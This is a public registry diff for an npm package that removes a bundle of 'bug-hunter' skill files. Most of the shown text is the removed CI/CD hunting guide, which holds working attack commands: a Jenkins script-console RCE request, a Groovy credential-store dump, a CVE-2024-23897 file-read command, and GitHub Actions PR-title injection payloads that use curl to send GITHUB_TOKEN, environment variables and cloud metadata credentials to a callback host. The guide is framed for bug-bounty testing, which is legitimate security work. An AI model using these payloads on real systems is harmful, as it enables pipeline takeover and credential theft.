@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,267 +0,0 @@
1
- ---
2
- name: hunt-cicd
3
- description: "Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable."
4
- sources: hackerone_public, github_security_lab, cve_database, portswigger_research
5
- report_count: 18
6
- ---
7
-
8
- # HUNT-CICD — CI/CD Pipeline Security
9
-
10
- ## Crown Jewel Targets
11
-
12
- Jenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the **PR head ref** and references untrusted `${{ github.event.* }}` in a shell `run:` = "Pwnrequest" → secret exfil from a fork PR with zero approval.
13
-
14
- **Highest-value findings:**
15
- - **Jenkins Script Console** — Groovy execution → full RCE → dump the credential store
16
- - **Jenkins CLI file read (CVE-2024-23897)** — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE
17
- - **GitHub Actions `pull_request_target` injection (Pwnrequest)** — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets
18
- - **Self-hosted runner poisoning** — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
19
- - **OIDC trust-policy abuse** — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
20
- - **Terraform state leakage** — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
21
- - **Runner token / artifact / log leakage** — register attacker runner, or harvest secrets printed before `::add-mask::`
22
-
23
- ---
24
-
25
- ## "It-Didn't-Happen-Without-Proof" Gate (Read First)
26
-
27
- CI/CD findings are over-reported because dashboards *look* exploitable. Before claiming anything:
28
-
29
- 1. **A login page is not an RCE.** A reachable `/script` URL that returns a Jenkins login or `403` is **not** an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.
30
- 2. **A `pull_request_target` workflow is not automatically injectable.** It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
31
- 3. **Blind injection requires OOB.** If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
32
- 4. **A `.tfstate` HTTP 200 is not cred exposure until you parse it.** Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.
33
-
34
- ---
35
-
36
- ## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
37
-
38
- ```bash
39
- # Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
40
- curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
41
- curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
42
- for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
43
- code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
44
- echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
45
- done
46
- ```
47
-
48
- **Unauthenticated script console → RCE (only if the POST returns output):**
49
- ```bash
50
- # This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
51
- # Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
52
- curl -s -X POST "https://$TARGET/scriptText" \
53
- --data-urlencode 'script=println "id".execute().text'
54
- ```
55
-
56
- **Dump the credential store** (Groovy decrypts secrets the UI masks):
57
- ```groovy
58
- import com.cloudbees.plugins.credentials.CredentialsProvider
59
- import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
60
- import org.jenkinsci.plugins.plaincredentials.StringCredentials
61
- CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
62
- println "${it.id} :: ${it.username} :: ${it.password}"
63
- }
64
- CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
65
- println "${it.id} :: ${it.secret}"
66
- }
67
- ```
68
-
69
- **CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI** (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:
70
- ```bash
71
- # Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
72
- java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
73
- # The file content is echoed back in the error. Then target:
74
- # @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
75
- # @/var/lib/jenkins/credentials.xml
76
- ```
77
- Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
78
-
79
- ---
80
-
81
- ## Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC
82
-
83
- ### The core distinction (this is where 90% of false PoCs die)
84
-
85
- There are **two** sink classes — they need different payloads:
86
-
87
- - **`${{ }}` template expansion into a shell `run:`** — the expression is substituted into the script *before* the shell runs, so a newline/backtick/`$(...)` in the untrusted field becomes literal shell. This is the classic injection.
88
- - **Environment variable read inside the shell** — `GITHUB_TOKEN`, `secrets.X`, and any `env:`-mapped value are **shell variables whose value IS the string**. To exfiltrate them you use `echo`/`printenv`, **never** `cat $VAR` (that tries to open a file *named* by the token and prints nothing).
89
-
90
- ```yaml
91
- # VULNERABLE workflow (untrusted title flows into the script text):
92
- on: pull_request_target # runs with write token + secrets, on fork PRs
93
- jobs:
94
- build:
95
- steps:
96
- - uses: actions/checkout@v4
97
- with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
98
- - run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
99
- ```
100
-
101
- **Attack via the `${{ }}` sink** — set the PR **title** (or branch name, body, label, commit message — all attacker-controlled) to break out of the echo and run your own commands. Exfiltrate the token with `printenv`, not `cat`:
102
- ```
103
- PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
104
- ```
105
- For a multi-line YAML `run:`, a newline injection is cleaner:
106
- ```
107
- PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
108
- ```
109
-
110
- **Attack via a poisoned checkout (no `${{ }}` needed)** — if `pull_request_target` checks out the PR head and then runs a build script / installs deps from the checked-out tree (`make`, `npm ci` with a malicious `preinstall`, a Makefile, a `.github/` action in the PR), the *runner executes attacker code directly*. Drop into any build hook:
111
- ```bash
112
- # in attacker's PR, e.g. package.json preinstall or Makefile:
113
- curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
114
- cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
115
- ```
116
-
117
- **Self-hosted runner poisoning** — if `runs-on: self-hosted` (or a custom label) on a **public** repo with `pull_request`/`pull_request_target`, a fork PR's job runs on the org's own host. Non-ephemeral runners persist tools/creds between jobs. Confirm by reading the runner's identity and metadata from inside the job:
118
- ```bash
119
- - run: |
120
- whoami; hostname; id
121
- curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
122
- curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
123
- ```
124
-
125
- **OIDC trust-policy abuse** — workflows that `configure-aws-credentials` via OIDC assume an IAM role. A trust policy whose `token.actions.githubusercontent.com:sub` condition is missing or uses a loose wildcard (`repo:ORG/*:*`) lets **any** workflow in the org (including a malicious one you can merge, or a fork on a misconfigured trigger) assume that role. Inspect the role:
126
- ```bash
127
- aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
128
- # Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
129
- ```
130
- Then prove it: from a workflow you control in-org, assume the role and run `aws sts get-caller-identity` returning the privileged role ARN.
131
-
132
- ### Recon
133
-
134
- ```bash
135
- # Enumerate org workflows that use the dangerous triggers
136
- gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
137
- | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
138
- for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
139
- body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
140
- echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
141
- echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
142
- echo "CANDIDATE: ORG/$r/$wf"
143
- done
144
- done
145
- ```
146
- Triage candidates with the static analyzer before opening any PR: `gh extension install rhysd/actionlint` or run **zizmor** (`pip install zizmor; zizmor .github/workflows/`) which flags template-injection and dangerous-checkout patterns specifically.
147
-
148
- ---
149
-
150
- ### Actions cache poisoning
151
- The GitHub Actions cache is not trust-isolated across branches by default: a workflow from an attacker branch/fork PR can write a cache entry (key or restore-key) that a later privileged workflow on the default branch restores, injecting attacker files (built binaries, deps, scripts) into a trusted build -> code execution in the privileged context. Check for cache actions keyed on attacker-influenced values, and whether privileged pipelines `restore-keys` a prefix an untrusted job can populate.
152
-
153
- ## Phase 3 — Secrets in Logs & Artifacts
154
-
155
- ```bash
156
- # Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
157
- # or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
158
- gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
159
- gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
160
- unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
161
- grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
162
- done
163
-
164
- # Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
165
- gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
166
- ```
167
- Note `actions/upload-artifact` does **not** redact secrets — an artifact named `env`/`debug` is a common direct leak.
168
-
169
- ---
170
-
171
- ## Phase 4 — GitLab CI
172
-
173
- ```bash
174
- # Runner registration token → register an attacker runner that picks up jobs (and their secrets).
175
- # Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
176
- curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
177
- curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
178
-
179
- # .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
180
- # `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
181
- curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
182
- ```
183
- A registration token alone is **not** a finding unless the instance allows that token to register a runner that will execute a target project's pipeline. Demonstrate by registering an ephemeral runner you own and capturing a job's masked variables.
184
-
185
- ---
186
-
187
- ## Phase 5 — Terraform State Leakage
188
-
189
- ```bash
190
- # Probe common public-bucket/path patterns (parameterize $T and $ORG)
191
- for U in \
192
- "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
193
- "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
194
- "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
195
- "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
196
- "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
197
- code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
198
- [ "$code" = "200" ] && echo "[+] 200 $U" && \
199
- jq -r '.resources[].instances[].attributes
200
- | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
201
- | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
202
- done
203
- # Also hunt state in repos / backend configs
204
- gh search code --owner ORG "terraform.tfstate" --limit 10
205
- gh search code --owner ORG 'backend "s3"' --limit 10
206
- ```
207
- **False-positive filter:** a `tfstate` that lists only `id`, `arn`, `tags` is not a secret leak. Run the `jq` above and confirm at least one *live* credential (a real `password`, `private_key`, RDS master password, or non-rotated access key). Then prove impact by using that credential read-only (`aws sts get-caller-identity`, a DB connect that returns a banner) — do not just claim "creds in state."
208
-
209
- ---
210
-
211
- ## Phase 6 — Build Artifact / Image Analysis
212
-
213
- ```bash
214
- docker pull ORG/IMAGE:latest
215
- docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
216
- # Layer-level scan catches secrets removed in a later layer but still present in history:
217
- trufflehog docker --image ORG/IMAGE:latest --only-verified
218
- ```
219
- `--only-verified` filters trufflehog to credentials it could actually authenticate — use it to drop the noise of expired/example keys before reporting.
220
-
221
- ---
222
-
223
- ## Grounded References (named cases / CVEs)
224
-
225
- - **Pwnrequest / `pull_request_target` class** — GitHub Security Lab (Jaroslav Lobačevski), "Keeping your GitHub Actions and workflows secure: Untrusted input." The original write-up of fork-PR secret exfil and the dangerous-checkout pattern.
226
- - **GitHub Actions workflow-command injection — CVE-2020-15228** — `set-env`/`add-path` workflow commands allowed env/PATH injection from logged output; this drove the deprecation of those commands and the move to `$GITHUB_ENV`.
227
- - **Jenkins CLI arbitrary file read — CVE-2024-23897** — args4j `@`-prefixed file expansion (Jenkins ≤2.441 / LTS ≤2.426.2), read `secret.key`/`credentials.xml` → admin → RCE.
228
- - **Jenkins Stapler RCE — CVE-2018-1000861** — dynamic routing reaches `groovy.lang.GroovyShell`; a staple of the unauth script-execution chain on older Jenkins.
229
- - **PortSwigger / Liam Galvin & others** — research on GitHub Actions injection sinks (title/branch/body/label) and the `${{ }}`-into-`run` template-substitution vector; the basis of the actionlint/zizmor detection rules cited above.
230
-
231
- (Only CVEs and cases I can attribute exactly are listed. Confirm the running version against the CVE's affected range before claiming it.)
232
-
233
- ---
234
-
235
- ## Chain Table
236
-
237
- | CI/CD finding | Chain to | Impact |
238
- |---|---|---|
239
- | Jenkins anon script console | Dump credential store → cloud/DB creds → lateral | Critical |
240
- | Jenkins CLI file read (CVE-2024-23897) | Read `secret.key`+`credentials.xml` → forge admin → RCE | Critical |
241
- | Actions `${{ }}` injection (Pwnrequest) | `printenv GITHUB_TOKEN`/secrets → push to protected branch | Critical |
242
- | Self-hosted runner poisoning | Code-exec on runner host → IMDS creds → persistence | Critical |
243
- | OIDC `sub` wildcard | `AssumeRole` privileged cloud role from any org workflow | Critical |
244
- | Terraform state w/ live creds | Infra/DB/API credential use | Critical |
245
- | GitLab runner registration | Register runner → capture pipeline secrets | High/Critical |
246
- | Image/log/artifact secret | Direct credential use | High |
247
-
248
- ---
249
-
250
- ## Validation Discipline (per finding, before you report)
251
-
252
- - **Jenkins console:** the `scriptText` POST returns your `id` output (`uid=…(jenkins)`). A returned login/SSO/Crowd page = **not** anon access. Screenshot the request+response.
253
- - **CVE-2024-23897:** response contains real `/etc/passwd` content; confirm version is in range. Patched instances return an error with no leaked line.
254
- - **Actions injection:** confirm the data flow into a sink first (FP section). Blind step → **Collaborator callback with the runner's source IP** is mandatory. Token exfil via `printenv`/`/proc/self/environ` decoded at your endpoint — never `cat $GITHUB_TOKEN`.
255
- - **OIDC abuse:** `aws sts get-caller-identity` from your controlled workflow returns the privileged role ARN — not just a permissive-looking trust policy.
256
- - **Terraform state:** `jq` extraction yields ≥1 *live* secret, then a read-only auth proves it. ID/ARN-only state = no finding.
257
- - **Runner token / image / logs:** demonstrate the secret authenticates (trufflehog `--only-verified`, or a real API call) — possession of a string is not impact.
258
-
259
- ### Common false positives to retract
260
- - `/script` returning a login page (auth required) reported as "unauth RCE."
261
- - `pull_request_target` present but untrusted input never reaches a sink (e.g., used only in `if:` on `github.actor`, or the workflow uses `pull_request` not `_target`).
262
- - `${{ }}` reference that is already wrapped in an `env:` block and quoted in the shell (the recommended safe pattern) — not injectable.
263
- - `.tfstate` 200 containing only resource metadata.
264
- - A masked GitLab variable that is `protected` and only exposed to protected branches the attacker can't push to.
265
- - Trufflehog "unverified" hits that are example/expired keys.
266
-
267
- **Severity:** Jenkins console / CVE-2024-23897 / Actions secret exfil / runner poisoning / OIDC role assumption / Terraform live creds = **Critical**. Image/log/artifact secret = **High/Critical** by credential scope.
@@ -1,66 +0,0 @@
1
- ---
2
- name: hunt-clickjacking
3
- description: "Hunt Clickjacking — missing X-Frame-Options / CSP frame-ancestors lets an attacker embed the target page in an invisible iframe and trick victims into clicking buttons they cannot see (UI redressing). Targets: login flows, money transfers, account settings, OAuth confirmation pages. Confirm by fetching the page, then PROVE it frames in a real browser and a sensitive state-changing action survives the cross-site context (SameSite cookies / framebusting JS can defeat it) — header-absence alone is not a finding."
4
- sources: hackerone_public, public_research
5
- report_count: 6
6
- ---
7
-
8
- ## What is Clickjacking
9
-
10
- Clickjacking (UI Redressing) lets an attacker load a target page inside a transparent iframe on a malicious site. The victim sees the attacker's decoy UI but clicks the hidden target UI beneath it. No JavaScript on the target is required.
11
-
12
- **Highest-value targets:**
13
